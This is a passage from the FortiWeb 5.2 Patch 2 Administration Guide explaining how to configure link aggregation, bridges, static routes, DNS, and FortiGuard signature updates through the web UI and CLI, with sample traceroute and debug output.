Type the name (such as agg) of this logical interface that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 15 characters.
Type
Lacp-rate
Tip:
The name cannot be changed once you save the entry. For a
workaround, see “Renaming entries” on page 63
.
Select 802.3ad Aggregate.
Select the rate of transmission for the LACP frames (LACPUs) between FortiWeb and the peer device at the other end of the trunking cables, either:
• SLOW — Every 30 seconds.
• FAST — Every 1 second.
Note:
This must match the setting on the other device. If the rates do not match, FortiWeb or the other device could mistakenly believe that the other’s ports have failed, effectively disabling ports in the trunk.
Fortinet 130 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
Algorithm
Description
Select the connectivity layers that will be considered when distributing frames among the aggregated physical ports.
IP/Netmask
• layer2 — Consider only the MAC address. This results in the most even distribution of frames, but may be disruptive to TCP if packets frequently arrive out of order.
• layer2_3 — Consider both the MAC address and IP session.
Queue frames involving the same session to the same port.
This results in slightly less even distribution, and still does not guarantee perfectly ordered TCP sessions, but does result in less jitter within the session.
• layer3_4 — Consider both the IP session and TCP connection.
Queue frames involving the same session and connection to the same port. Distribution is not even, but this does prevent
TCP retransmissions associated with link aggregation.
Type the IP address/subnet mask associated with the aggregate.
The IP address must be on the same subnet as the network to which the interface connects. Two network interfaces cannot have
IP addresses on the same subnet.
5. Click OK.
Your new aggregate appears in the list of network interfaces.
To configure an IPv4link aggregate via the CLI
1. Enter the following commands: config system interface edit "aggregate" set type agg set status up set intf <port_name> <port_name> set algorithm {layer2 | layer2_3 | layer3_4} set lacp-speed {fast | slow} set ip <address_ipv4> <netmask_ipv4mask> next end where:
•
<port_name>
is the name of a physical network interface, such as port3
•
<address_ipv4>
is the IP address assigned to the network interface
•
<netmask_ipv4mask>
is its netmask in dotted decimal format
•
{layer2 | layer2_3 | layer3_4}
is a choice between the connectivity layers that will be considered when distributing frames among the aggregated physical ports.
•
{fast | slow}
is a choice of the rate of transmission for the LACP frames (LACPUs) between FortiWeb and the peer device at the other end of the trunking cables; this must match the LACP peer
131 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
See also
•
•
Configuring the network interfaces
•
•
Configuring a bridge (V-zone)
You can configure a bridge either via the web UI or the CLI.
Bridges allow network connections to travel through the FortiWeb appliance’s physical network ports without explicitly connecting to one of its IP addresses. Due to this nature, bridges are configured only when FortiWeb is operating in either true transparent proxy or transparent inspection mode.
Bridges on the FortiWeb appliance support IEEE 802.1d
spanning tree protocol (STP) by forwarding bridge protocol data unit (BPDU) packets, but do not generate BPDU packets of their own. Therefore, in some cases, you might need to manually test the bridged network for
Layer 2 loops. Also, you may prefer to manually design a tree that uses the minimum cost path to the root switch for design and performance reasons.
True bridges typically have no IP address of their own. They use only media access control
(MAC) addresses to describe the location of physical ports within the scope of their network and do network switching at Layer 2 of the OSI model.
To configure a bridge via the web UI
1. If you have installed a physical FortiWeb appliance, plug in network cables to connect one of the physical ports in the bridge to your protected web servers, and the other port to the
Internet or your internal network.
Because port1 is reserved for connections with your management computer, for physical appliances, this means that you must plug cables into at least 3 physical ports:
• port1
to your management computer
• one port to your web servers
• one port to the Internet or your internal network
If you have installed a virtual FortiWeb appliance (FortiWeb-VM), the number and topology of connections of your physical ports depend on your vNIC mappings. For details, see the
FortiWeb-VM Install Guide
.
If you will use fail-to-wire, the bridge must be comprised of the ports that have hardware support for fail-to-wire. For example, on FortiWeb 1000C, this is port3 and port4. See
“Fail-to-wire for power loss/reboots” on page 550
and the QuickStart Guide for your model.
2. If you have installed FortiWeb-VM, configure the virtual switch (vSwitch). For details, see the
FortiWeb-VM Install Guide
.
3. Go to System > Network > V-zone.
This option is not displayed if the current operating mode does not support bridges.
To access this part of the web UI, your administrator's account access profile must have
Read and Write permission to items in the Network Configuration category. For details, see
132 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
4. Click Create New.
A dialog appears.
When you configure VLANs for a FortiWeb operating in true transparent proxy mode, ensure that you configure one V-zone for each VLAN.
5. Configure these settings:
Setting name
Name
IP/Netmask
Description
Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 15 characters. The name cannot be changed once you save the entry. See
.
Specify an IP address and subnet mask for the virtual network interface. Like non-bridge network interfaces, this IP address generates ARP traffic that notifies the network during an HA
.
Note:
Failure to change the IP/Netmask will result in an Invalid
IP Address
error message.
133 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
Interface name
Member
Description
Displays a list of network interfaces that currently have no IP address of their own, nor are members of another bridge, and therefore could be members of this bridge.
To add one or more network interfaces to the bridge, select their names, then click the right arrow.
Note:
Only network interfaces with no IP address can belong to a bridge. port1 is reserved for your management computer, and cannot be bridged. To remove any other network interface’s IP address so that it can be included in the bridge, set its
IP/Netmask
to 0.0.0.0/0.0.0.0.
Displays a list of network interfaces that belong to this bridge.
To remove a network interface from the bridge, select its name, then click the left arrow.
Tip: If you will be configuring bypass/fail-to-wire, the pair of bridge ports that you select should be ones that are wired together to
support it. See “Fail-to-wire for power loss/reboots” on page 550
.
6. Click OK.
The bridge appears in System > Network > V-zone.
7. To use the bridge, select it in a policy (see “Configuring a server policy” on page 509
).
To configure an IPv4 bridge in the CLI
1. If you have installed a physical FortiWeb appliance, connect one of the physical ports in the bridge to your protected web servers, and the other port to the Internet or your internal network.
Because port1 is reserved for connections with your management computer, for physical appliances, this means that you must connect at least 3 ports:
• port1
to your management computer
• one port to your web servers
• one port to the Internet or your internal network
If you have installed a virtual FortiWeb appliance, the number and topology of connections of your physical ports depend on your vNIC mappings. For details, see the
FortiWeb-VM Install
Guide
.
2. If you have installed FortiWeb as a virtual appliance (FortiWeb-VM), configure the virtual switch. For details, see the
FortiWeb-VM Install Guide
.
134 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
3. Enter the following commands: config system v-zone edit <v-zone_name> set ip <address_ipv4> <netmask_ipv4> set interfaces {<port_name> ...} end where:
•
<v-zone_name>
is the name of the bridge
•
{<port_name> ...}
is a space-delimited list of one or more network ports that will be members of this bridge. Eligible network ports must not yet belong to a bridge, and have no assigned IP address. For a list of eligible ports, enter: set interfaces ?
•
<address_ipv4> <netmask_ipv4>
is an IP address for the bridge ports
4. To use the bridge, select it in a policy (see “Configuring a server policy” on page 509
).
See also
•
•
Configuring the network interfaces
•
•
Adding a gateway
Static routes direct traffic exiting the FortiWeb appliance based upon the packet’s destination — you can specify through which network interface a packet will leave, and the IP address of a next-hop router that is reachable from that network interface. Routers are aware of which IP addresses are reachable through various network pathways, and can forward those packets along pathways capable of reaching the packets’ ultimate destinations. Your FortiWeb itself does not need to know the full route, as long as the routers can pass along the packet.
You must configure FortiWeb with at least one static route that points to a router, often a router that is the gateway to the Internet. You may need to configure multiple static routes if you have multiple gateway routers (e.g. each of which should receive packets destined for a different subset of IP addresses), redundant routers (e.g. redundant Internet/ISP links), or other special routing cases.
However, often you will only need to configure one route: a default route.
True transparent and transparent inspection operation modes require that you specify the gateway when configuring the operation mode. In that case, you have already configured a static route. You do not need to repeat this step.
For example, if a web server is directly attached to one physical port on the FortiWeb, but all other destinations, such as connecting clients, are located on distant networks, such as the
135 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Internet, you might need to add only one route: a default route that indicates the gateway router through which the FortiWeb appliance can send traffic in the direction towards the Internet.
If your management computer is not directly attached to one of the physical ports of the
FortiWeb appliance, you may also require a static route so that your management computer is able to connect with the web UI and CLI.
When you add a static route through the web UI, the FortiWeb appliance evaluates the route to determine if it represents a different route compared to any other route already present in the list of static routes. If no route having the same destination exists in the list of static routes, the
FortiWeb appliance adds the static route, using the next unassigned route index number.
The index number of the route in the list of static routes is not necessarily the same as its position in the routing table (diagnose network route list).
To add a static route via the web UI
1. Go to System > Network > Static Route.
To access this part of the web UI, your administrator account’s access profile must have
Read and Write permission to items in the Router Configuration category. For details, see
2. Click Create New.
A dialog appears.
3. Configure these settings:
Setting name
Destination
IP/Mask
Description
Type the destination IP address and network mask of packets that will be subject to this static route, separated by a slash ( / ).
The value 0.0.0.0/0.0.0.0 or ::/0 results in a default route, which matches the DST field in the IP header of all packets.
136 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Gateway
Interface
Type the IP address of the next-hop router where the FortiWeb appliance will forward packets subject to this static route. This router must know how to route packets to the destination IP addresses that you have specified in
Destination IP/Mask
, or forward packets to another router with this information.
For a direct Internet connection, this will be the router that forwards traffic towards the Internet, and could belong to your ISP.
Caution:
The gateway IP address must be in the same subnet as the interface’s IP address. Failure to do so will cause FortiWeb to delete all static routes, including the default gateway.
Select the name of the network interface through which the packets subject to the static route will egress towards the next-hop router.
Making a default route for your FortiWeb is a typical best practice: if there is no other, more specific static route defined for a packet’s destination IP address, a default route will match the packet, and pass it to a gateway router so that any packet can reach its destination.
If you do not define a default route, and if there is a gap in your routes where no route matches a packet’s destination IP address, packets passing through the FortiWeb towards those IP addresses will, in effect, be null routed. While this can help to ensure that unintentional traffic cannot leave your FortiWeb and therefore can be a type of security measure, the result is that you must modify your routes every time that a new valid destination is added to your network. Otherwise, it will be unreachable. A default route ensures that this kind of locally-caused “destination unreachable” problem does not occur.
4. Click OK.
The FortiWeb appliance should now be reachable to connections with networks indicated by the mask.
5. To verify connectivity, from a host on the route’s destination network, attempt to connect to the FortiWeb appliance’s web UI via HTTP and/or HTTPS. (At this point in the installation, you have not yet configured a policy, and therefore, if in reverse proxy mode, cannot test connectivity through the FortiWeb.)
By default, in reverse proxy mode, FortiWeb’s virtual servers will not forward
non-HTTP/HTTPS traffic to your protected web servers. (Only traffic picked up and allowed by the HTTP reverse proxy will be forwarded.) You may be able to provide connectivity by either deploying in a one-arm topology where other protocols bypass FortiWeb, or by enabling FortiWeb to route other protocols. See also
“Topology for reverse proxy mode” on page 71 and the config router setting command in the
FortiWeb CLI Reference
.
If the connectivity test fails, you can use the CLI commands: execute ping <destination_ip4> to determine if a complete route exists from the FortiWeb to the host, and execute traceroute <destination_ipv4> to determine the point of connectivity failure.
Also enable
PING
on the FortiWeb’s network interface, or configure an IP address on the bridge, then use the equivalent tracert or traceroute command on the host (depending
137 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet on its operating system) to test routability for traffic traveling in the opposite direction: from the host to the FortiWeb.
• If these tests fail, or if you do not want to enable
PING
, first examine the static route configuration on both the host and FortiWeb.
To display the routing table, enter the CLI command: diagnose network route list
You may also need to verify that the physical cabling is reliable and not loose or broken, that there are no IP address or MAC address conflicts or blacklisting, and otherwise rule out problems at the physical, network, and transport layer.
• If these tests succeed, a route exists, but you cannot connect using HTTP or HTTPS, an application-layer problem is preventing connectivity.
Verify that you have enabled
HTTPS
and/or
HTTP
on the network interface. Also examine routers and firewalls between the host and the FortiWeb appliance to verify that they permit HTTP and/or HTTPS connectivity between them. Finally, you can also use the CLI command: diagnose system top 5 30 to verify that the daemons for the web UI and CLI, such as sshd, newcli, and httpsd are running and not overburdened. For details, see the
FortiWeb CLI Reference
.
To add a default route via the CLI
1. Enter the following commands: config router static edit <route_index> set gateway <gateway_ipv4> set device <interface_name> end where:
•
<route_index>
is the index number of the route in the list of static routes
•
<gateway_ipv4>
is the IP address of the gateway router
•
<interface_name>
is the name of the network interface through which packets will egress, such as port1
The FortiWeb appliance should now be reachable to connections with networks indicated by the mask.
2. To verify connectivity, from a host on the network applicable to the route, attempt to connect to the FortiWeb appliance’s web UI via HTTP and/or HTTPS. (At this point in the installation, you have not yet configured a policy, and therefore, if in reverse proxy mode, cannot test connectivity through the FortiWeb.)
By default, in reverse proxy mode, FortiWeb’s virtual servers will not forward
non-HTTP/HTTPS traffic to your protected web servers. (Only traffic picked up and allowed by the HTTP reverse proxy will be forwarded.) You may be able to provide connectivity by either deploying in a one-arm topology where other protocols bypass FortiWeb, or by enabling FortiWeb to route other protocols. See also
“Topology for reverse proxy mode” on page 71 and the config router setting command in the
FortiWeb CLI Reference
.
138 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
If the connectivity test fails, you can use the CLI commands: execute ping to determine if a complete route exists from the FortiWeb to the host, and execute traceroute to determine the point of connectivity failure. For details, see the
FortiWeb CLI Reference
.
), then use the equivalent tracert or traceroute command on the host (depending on its operating system) to test routability for traffic traveling in the opposite direction: from the host to the FortiWeb.
• If these tests fail, or if you do not want to enable
PING
, first examine the static route configuration on both the host and FortiWeb.
To display all routes with their priorities, enter the CLI command: diagnose network route list
You may also need to verify that the physical cabling is reliable and not loose or broken, that there are no IP address or MAC address conflicts or blacklisting, and otherwise rule out problems at the physical, network, and transport layer.
• If these tests succeed, a route exists, but you cannot connect using HTTP or HTTPS, an application-layer problem is preventing connectivity.
Verify that you have enabled http and/or http on the network interface (
firewalls between the host and the FortiWeb appliance to verify that they permit HTTP and/or HTTPS connectivity between them. Finally, you can also use the CLI command: diagnose system top 5 30 to verify that the daemons for the web UI and CLI, such as sshd, newcli, and httpsd are running and not overburdened. For details, see the
FortiWeb CLI Reference
.
See also
•
Routing based upon URL, cookie, or “Host:” name
•
Configuring the network interfaces
•
•
•
Configuring DNS settings
Like many other types of network devices, FortiWeb appliances require connectivity to DNS servers for DNS lookups.
Your Internet service provider (ISP) may supply IP addresses of DNS servers, or you may want to use the IP addresses of your own DNS servers. You must provide unicast, non-local addresses for your DNS servers. Local host and broadcast addresses will not be accepted.
Incorrect DNS settings or unreliable DNS connectivity can cause issues with other features, including FortiGuard services and NTP system time.
139 FortiWeb 5.2 Patch 2 Administration Guide
For improved performance, use DNS servers on your local network.
To configure DNS settings via the web UI
1. Go to System > Network > DNS.
To change settings in this part of the web UI, your administrator's account access profile must have Write permission to items in the Network Configuration category. For details, see
2. In Primary DNS Server, type the IP address of the primary DNS server.
3. In Secondary DNS Server, type the IP address of the secondary DNS server.
4. In Local Domain Name, type the name of the local domain to which the FortiWeb appliance belongs, if any.
This field is optional. It will not appear in the Host: field of HTTP headers for client connections to your protected web servers.
5. Click Apply.
The appliance will query the DNS servers whenever it needs to resolve a domain name into an IP address, such as for NTP system time, FortiGuard services, or web servers defined by their domain names (“domain servers”).
6. To verify your DNS settings, in the CLI, enter the following commands: execute traceroute <server_fqdn> where <server_fqdn> is a domain name such as www.example.com.
DNS tests may not succeed until you have completed
“Adding a gateway” on page 135
.
Fortinet 140 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
If the DNS query for the domain name succeeds, you should see results that indicate that the host name resolved into an IP address, and the route from FortiWeb to that IP address: traceroute to www.example.com (192.0.43.10), 30 hops max, 60 byte packets
1 172.20.130.2 (172.20.130.2) 0.426 ms 0.238 ms 0.374 ms
2 static-209-87-254-221.storm.ca (209.87.254.221) 2.223 ms 2.491 ms 2.552 ms
3 core-g0-0-1105.storm.ca (209.87.239.161) 3.079 ms 3.334 ms
3.357 ms
...
16 43-10.any.icann.org (192.0.43.10) 57.243 ms 57.146 ms 57.001 ms
If the DNS query fails, you will see an error message such as: traceroute: unknown host www.example.com
CFG_CLI_INTERNAL_ERR
Verify your DNS server IPs, routing, and that your firewalls or routers do not block or proxy
UDP port 53.
To configure DNS settings via the CLI
1. Enter the following commands: config system dns set primary <address_ipv4> set secondary <address_ipv4> set domain <local-domain_str> end where:
•
<address_ipv4>
is the IP address of a DNS server
•
<local-domain_str>
is the name of the local domain to which the FortiWeb appliance belongs, if any
The local domain name is optional. It will not appear in the Host: field of HTTP headers for connections to protected web servers.
The appliance will query the DNS servers whenever it needs to resolve a domain name into an IP address, such as for NTP or web servers defined by their domain names (“domain servers”).
2. To verify your DNS settings, in the CLI, enter the following commands: execute traceroute <server_fqdn> where <server_fqdn> is a domain name such as www.example.com.
DNS tests may not succeed until you have completed
“Adding a gateway” on page 135
.
141 FortiWeb 5.2 Patch 2 Administration Guide
If the DNS query for the domain name succeeds, you should see results that indicate that the host name resolved into an IP address, and the route from FortiWeb to that IP address: traceroute to www.example.com (192.0.43.10), 30 hops max, 60 byte packets
1 172.20.130.2 (172.20.130.2) 0.426 ms 0.238 ms 0.374 ms
2 static-209-87-254-221.storm.ca (209.87.254.221) 2.223 ms 2.491 ms 2.552 ms
3 core-g0-0-1105.storm.ca (209.87.239.161) 3.079 ms 3.334 ms
3.357 ms
...
16 43-10.any.icann.org (192.0.43.10) 57.243 ms 57.146 ms 57.001 ms
If the DNS query fails, you will see an error message such as: traceroute: unknown host www.example.com
CFG_CLI_INTERNAL_ERR
Verify your DNS server IPs, routing, and that your firewalls or routers do not block or proxy
UDP port 53.
See also
•
Configuring the network interfaces
•
•
Fortinet 142 FortiWeb 5.2 Patch 2 Administration Guide
Connecting to FortiGuard services
Most exploits and virus exposures occur within the first 2 months of a known vulnerability. Most botnets consist of thousands of zombie computers whose IP addresses are continuously changing. To keep your defenses effective against the evolving threat landscape, Fortinet recommends FortiGuard services.
New vulnerabilities and botnets are discovered and new signatures are built by Fortinet researchers every day.
Without these updates, your FortiWeb cannot detect the newest threats.
After you have subscribed to FortiGuard services, configure your
FortiWeb appliance to connect to the Internet so that it can reach the world-wide Fortinet Distribution Network (FDN) in order to:
• verify its FortiGuard service licenses
• download up-to-date signatures, IP lists, and engine packages
FortiWeb appliances often can connect using default settings.
However, due to differences in routing and firewalling, you should confirm this by verifying connectivity.
You must first register the FortiWeb appliance with the Fortinet Technical Support web site, https://support.fortinet.com/, to receive service from the FDN. The FortiWeb appliance must also have a valid Fortinet Technical Support contract which includes service subscriptions, and be able to connect to the FDN. For port numbers required for license validation and update connections, see
“Appendix A: Port numbers” on page 699 .
To determine your FortiGuard license status
1. If your FortiWeb appliance must connect to the Internet through an explicit (non-transparent)
web proxy, configure the proxy connection (see “Accessing FortiGuard via a web proxy”
).
The appliance will attempt to validate its license when it boots. If the appliance could not connect because proxy settings were not configured, or due to any other connectivity issue that you have since resolved, you can reboot the appliance to re-attempt license validation.
2. Go to System > Status > Status.
To access this part of the web UI, your administrator's account access profile must have
Read permission to items in the System Configuration category. For details, see
3. In the FortiGuard Information widget, look at the FortiWeb Security Service row, FortiWeb
Antivirus Service row, and FortiWeb IP Reputation Service row.
Fortinet 143 FortiWeb 5.2 Patch 2 Administration Guide
Figure 23:FortiGuard Information widget
Fortinet
•
Valid
— At the last attempt, the FortiWeb appliance was able to successfully contact the
FDN and validate its FortiGuard license. Continue with
“Scheduling automatic signature updates” on page 150 .
•
Expired
— At the last attempt, the license was either expired or FortiWeb was unable to determine license status due to network connection errors with the FDN.
Your FortiWeb appliance cannot detect the latest vulnerabilities and compliance violations unless it is licensed and has network connectivity to download current definitions from the FortiGuard service.
If the connection did not succeed:
• On FortiWeb, verify the:
• time zone & time
• DNS settings
• network interface up/down status & IP
• static routes
• On your computer, use nslookup to verify that FortiGuard domain names are resolving
(license authentication queries are sent to update.fortiguard.net).
C:\Users\cschwartz>nslookup update.fortiguard.net
Server: google-public-dns-a.google.com
Address: 8.8.8.8
Non-authoritative answer:
Name: fds1.fortinet.com
Addresses: 209.66.81.150
209.66.81.151
208.91.112.66
Aliases: update.fortiguard.net
144 FortiWeb 5.2 Patch 2 Administration Guide
• On FortiWeb, use execute ping and execute traceroute to verify that connectivity from FortiWeb to the Internet and FortiGuard is possible. Check the configuration of any
NAT or firewall devices that exist between the FortiWeb appliance and the FDN or FDS server override.
FortiWeb #
exec traceroute update.fortiguard.net
traceroute to update.fortiguard.net (209.66.81.150), 32 hops max, 84 byte packets
1 192.0.2.2 0 ms 0 ms 0 ms
2 209.87.254.221 <static-209-87-254-221.storm.ca> 4 ms 2 ms 3 ms
3 209.87.239.161 <core-2-g0-3.storm.ca> 2 ms 3 ms 3 ms
4 67.69.228.161 3 ms 4 ms 3 ms
5 64.230.164.17 <core2-ottawa23_POS13-1-0.net.bell.ca> 3 ms 5 ms 3 ms
6 64.230.99.250 <tcore4-ottawa23_0-4-2-0.net.bell.ca> 16 ms 17 ms 15 ms
7 64.230.79.222 <tcore3-montreal01_pos0-14-0-0.net.bell.ca> 14 ms 14 ms 15 ms
8 64.230.187.238 <newcore2-newyork83_so6-0-0_0> 63 ms 15 ms 14 ms
9 64.230.187.42 <bxX5-newyork83_POS9-0-0.net.bell.ca> 21 ms
64.230.187.93 <BX5-NEWYORK83_POS12-0-0_core.net.bell.ca> 17 ms 16 ms
10 67.69.246.78 <Abovenet_NY.net.bell.ca> 28 ms 28 ms 28 ms
11 64.125.21.86 <xe-1-3-0.cr2.lga5.us.above.net> 29 ms 29 ms 30 ms
12 64.125.27.33 <xe-0-2-0.cr2.ord2.us.above.net> 31 ms 31 ms 33 ms
13 64.125.25.6 <xe-4-1-0.cr2.sjc2.us.above.net> 82 ms 82 ms 100 ms
14 64.125.26.202 <xe-1-1-0.er2.sjc2.us.above.net> 80 ms 79 ms 82 ms
15 209.66.64.93 <209.66.64.93.t01015-01.above.net> 80 ms 80 ms 79 ms
16 209.66.81.150 <209.66.81.150.available.above.net> 83 ms 82 ms 81 ms
To verify FortiGuard update connectivity
1. If your FortiWeb appliance must connect to the Internet (and therefore FDN) through an
explicit (non-transparent) web proxy, configure the proxy connection (see “Accessing
FortiGuard via a web proxy” ).
Fortinet 145 FortiWeb 5.2 Patch 2 Administration Guide
2. Go to System > Config > FortiGuard.
To access this part of the web UI, your administrator's account access profile must have
Read and Write permission to items in the Maintenance category. For details, see
Fortinet
3. If you want your FortiWeb appliance to connect to a specific FDS other than the default for its time zone, enable Use override server address, and enter the IP address and port number of an FDS in the format <FDS_ipv4>:<port_int>, such as 10.0.0.1:443.
146 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
4. Click Apply.
5. Click Update Now.
The FortiWeb appliance tests the connection to the FDN and, if any, the server you specified to override the default FDN server. Time required varies by the speed of the FortiWeb appliance’s network connection, and by the number of timeouts that occur before the connection attempt is successful or the FortiWeb appliance determines that it cannot connect. If you have enabled logging in:
• Log & Report > Log Config > Other Log Settings
• Log & Report > Log Config > Global Log Settings test results are indicated in Log & Report > Log Access > Event. If the connection test did
not succeed due to license issues, you would instead see this log message:
FortiWeb is unauthorized
For more troubleshooting information, enter the commands: diagnose debug enable diagnose debug application fds 8
This will cause additional information to be output to your CLI console, such as:
FortiWeb # [update]: Poll timeout.
FortiWeb # *ATTENTION*: license registration status changed to
'VALID',please logout and re-login
For example, poll (license and update request) timeouts can be caused by incorrectly configured static routes and DNS settings, links with high packet loss, and other basic connectivity issues. Unless you override the behavior with a specific FDS address (enable and configure Use override server address), FortiWeb appliances connect to the FDN by connecting to the server nearest to the FortiWeb appliance by its configured time zone.
Timeouts can therefore also be caused by incorrect time zone.
See also
•
Blacklisting source IPs with poor reputation
•
Blocking known attacks & data leaks
•
•
•
Enabling log types, packet payload retention, & resource shortage alerts
•
•
•
Choosing the virus signature database & decompression buffer
Most viruses are actively spreading initially, but as hosts are patched and more networks filter them out, their occurrence becomes more rare.
Fortinet’s FortiGuard Global Security Research Team continuously monitor detections of new and older viruses. When a specific virus has not been detected for one year, it is considered to be dormant. It is possible that a new outbreak could revive it, but that is increasingly unlikely as time passes due to replacement of vulnerable hardware and patching of vulnerable software.
Therefore dormant viruses’s signatures are removed from the “Regular” database, but preserved in the “Extended” signature database.
147 FortiWeb 5.2 Patch 2 Administration Guide
If your FortiWeb’s performance is more critical than the risk of these dormant viruses, you can choose to omit signatures for obsolete viruses by selecting the “Regular” database on System >
Config > FortiGuard.
Table 11: Selecting the virus database and buffer size on System > Config > FortiGuard
Fortinet
Setting Name Description
Regular Virus Database
Select to use only the signatures of viruses and greyware that have been detected by FortiGuard’s networks to be recently spreading in the wild.
Extended Virus Database Select to use all signatures, regardless of whether the viruses or greyware are currently spreading.
Maximum Antivirus
Buffer Size
Type the maximum size in kilobytes (KB) of the memory buffer that
FortiWeb will use to temporarily undo the compression that a client or web server has applied to traffic, in order to inspect and/or
modify it. See “Configuring temporary decompression for scanning & rewriting” on page 484 .
Caution: Unless you configure otherwise, compressed requests that are too large for this buffer will pass through FortiWeb without scanning or rewriting. This could allow viruses to reach your
web servers, and cause HTTP body rewriting to fail. If you prefer to block requests greater than this buffer size, configure
. To be sure that it will not disrupt normal traffic, first
to be Alert. If no problems occur, switch it to
Alert & Deny.
See also
•
Configuring temporary decompression for scanning & rewriting
•
Blocking known attacks & data leaks
148 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Accessing FortiGuard via a web proxy
Using the CLI, you can configure the FortiWeb appliance to connect through an explicit
(non-transparent) web proxy server to the FortiGuard Distribution Network (FDN) for signature updates.
For example, you might enter the following commands: config system autoupdate tunneling set status enable set address 192.168.1.10
set port 8080 set username FortiWeb set password myPassword1 end
For details, see the
FortiWeb CLI Reference
.
The FortiWeb appliance connects to the proxy using the HTTP CONNECT method, as described in RFC 2616 .
How often does Fortinet provide FortiGuard updates for FortiWeb?
Security is only as good as your most recent update. Without up-to-date signatures and blacklists, your network would be vulnerable to new attacks. However, if the updates were released before adequate testing and not accurate, FortiWeb scans would result in false positives or false negatives. For maximum benefit and minimum risk, updates must balance the two needs: to be both accurate and current.
Fortinet releases FortiGuard updates according to the best frequency for each technology.
• Antivirus — Multiple times per day. Updates are fast to test and low risk, while viruses can spread quickly and the newest ones are most common.
• IP reputation — Once per day (approximately). Some time is required to make certain of an
IP address’s reputation, but waiting too long would increase the probability of blacklisting innocent DHCP/PPPoE clients that re-use an IP address previously leased by an attacker.
• Attack, data type, suspicious URL, and data leak signatures — Once every 1-2 weeks
(approximately). Signatures must be tuned to be flexible enough to match heuristic permutations of attacks without triggering false positives in similar but innocent HTTP requests/responses. Signatures must then be thoroughly tested to analyze any performance impacts and mismatches that are an inherent risk in feature-complete regular expression engines. Many exploits and data leaks also continue to be relevant 2 years or more, much longer than most viruses. This increases the value and makes it worthwhile to optimize, tuning each signature to be both flexible and high-performance.
• Geography-to-IP mappings — Once every month (approximately). These change rarely.
Additionally, FortiWeb cannot poll for these updates and automatically apply them. You must
manually upload the updates (see “Updating data analytics definitions” on page 631
).
149 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
See also
•
Blocking known attacks & data leaks
•
Validating parameters (“input rules”)
•
Preventing tampering with hidden inputs
•
•
•
Predefined suspicious request URLs
•
Blacklisting source IPs with poor reputation
•
Blacklisting countries & regions
•
Updating data analytics definitions
Scheduling automatic signature updates
Your FortiWeb appliance uses signatures, IP lists, and data type definitions for many features, including to detect attacks such as:
• cross-site scripting (XSS)
• SQL injection
• other common exploits
• data leaks
FortiWeb also can use virus definitions to block trojan uploads, and can use IP reputation definitions to allow search engines but block botnets and anonymizing proxies preferred by hackers. FortiGuard services ensure that your FortiWeb is using the most advanced attack
protections. Timely updates are crucial to defending your network.
You can configure the FortiWeb appliance to periodically poll for FortiGuard service updates from the FDN, and automatically download and apply updates if they exist.
For example, you might schedule update requests every night at 2 AM local time, when traffic volume is light.
Alternatively, you can manually upload update packages, or initiate an update request. For details, see
“Manually initiating update requests” on page 153
and “Uploading signature & geography-to-IP updates” on page 155
.
You can manually initiate updates as alternatives or in conjunction with scheduled updates. For
additional/alternative update methods, see “Manually initiating update requests” on page 153
.
To configure automatic updates
1. Verify that the FortiWeb appliance has a valid license and can connect to the FDN, or
(if destination NAT is used, for example) the IP address that you are using to override the
and
“To verify FortiGuard update connectivity” on page 145 .
2. Go to System > Config > FortiGuard.
To access this part of the web UI, your administrator's account access profile must have
Read and Write permission to items in the Maintenance category. For details, see
The page informs you if you are not registered or if registration has expired. If your registration is active, continue scheduling updates; otherwise, click Register or Renew.
150 FortiWeb 5.2 Patch 2 Administration Guide
3. Enable Scheduled Update.
4. Select either:
•
Every
— Select to request to update once every 1 to 23 hours, then select the number of hours between each update request.
•
Daily
— Select to update once every day, then select the hour. The update attempt occurs at a randomly determined time within the selected hour.
•
Weekly
— Select to request to update once a week, then select the day of the week, the hour, and the minute of the day to check for updates.
If you select 00 minutes, the update request occurs at a randomly determined time within the selected hour.
Fortinet 151 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet 152 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
5. Click Apply.
The FortiWeb appliance next requests an update according to the schedule. Results appear in FortiWeb Security Service in the FortiGuard Information widget. If you have enabled logging in:
• Log & Report > Log Config > Other Log Settings
• Log & Report > Log Config > Global Log Settings when the FortiWeb appliance requests an update, the event is recorded in Log & Report >
Log Access > Event, such as these log message:
FortiWeb virus signature is already up-to-date
FortiWeb IP reputation signature update succeeded
If the FortiWeb appliance cannot successfully connect, it will record a log with a message that varies by the cause of the error, such as:
FortiWeb is unauthorized.
Once the attack signature update is complete, FortiWeb will immediately begin to use them.
No reboot is required.
See also
•
How often does Fortinet provide FortiGuard updates for FortiWeb?
•
Blocking known attacks & data leaks
•
Validating parameters (“input rules”)
•
Preventing tampering with hidden inputs
•
•
•
Predefined suspicious request URLs
•
Blacklisting source IPs with poor reputation
•
Blacklisting countries & regions
Manually initiating update requests
If an important update has been released but there is too much time remaining until your appliance’s next scheduled update poll, you can manually trigger the FortiWeb appliance to connect to the FDN or FDS server override to request available updates for its FortiGuard service packages.
You can manually initiate updates as an alternative or in addition to other update methods. For
details, see “Scheduling automatic signature updates” on page 150
and
“Uploading signature & geography-to-IP updates” on page 155
.
To manually request updates
1. Before manually initiating an update, first verify that the FortiWeb appliance has a valid
license and can connect to the FDN or override server. For details, see “To determine your
FortiGuard license status” on page 143
and
“To verify FortiGuard update connectivity” on page 145
.
153 FortiWeb 5.2 Patch 2 Administration Guide
2. Go to System > Config > FortiGuard.
To access this part of the web UI, your administrator's account access profile must have
Read and Write permission to items in the Maintenance category. For details, see
Fortinet 154 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
3. Click Update Now.
The web UI displays a message similar to the following:
Your update request has been sent. Your database will be updated in a few minutes. Please
check your update page for the status of the update.
4. After a few minutes, click the FortiGuard submenu to refresh the page, or go to System >
Status > Status and look at the FortiWeb Update Service row in the FortiGuard Information widget.
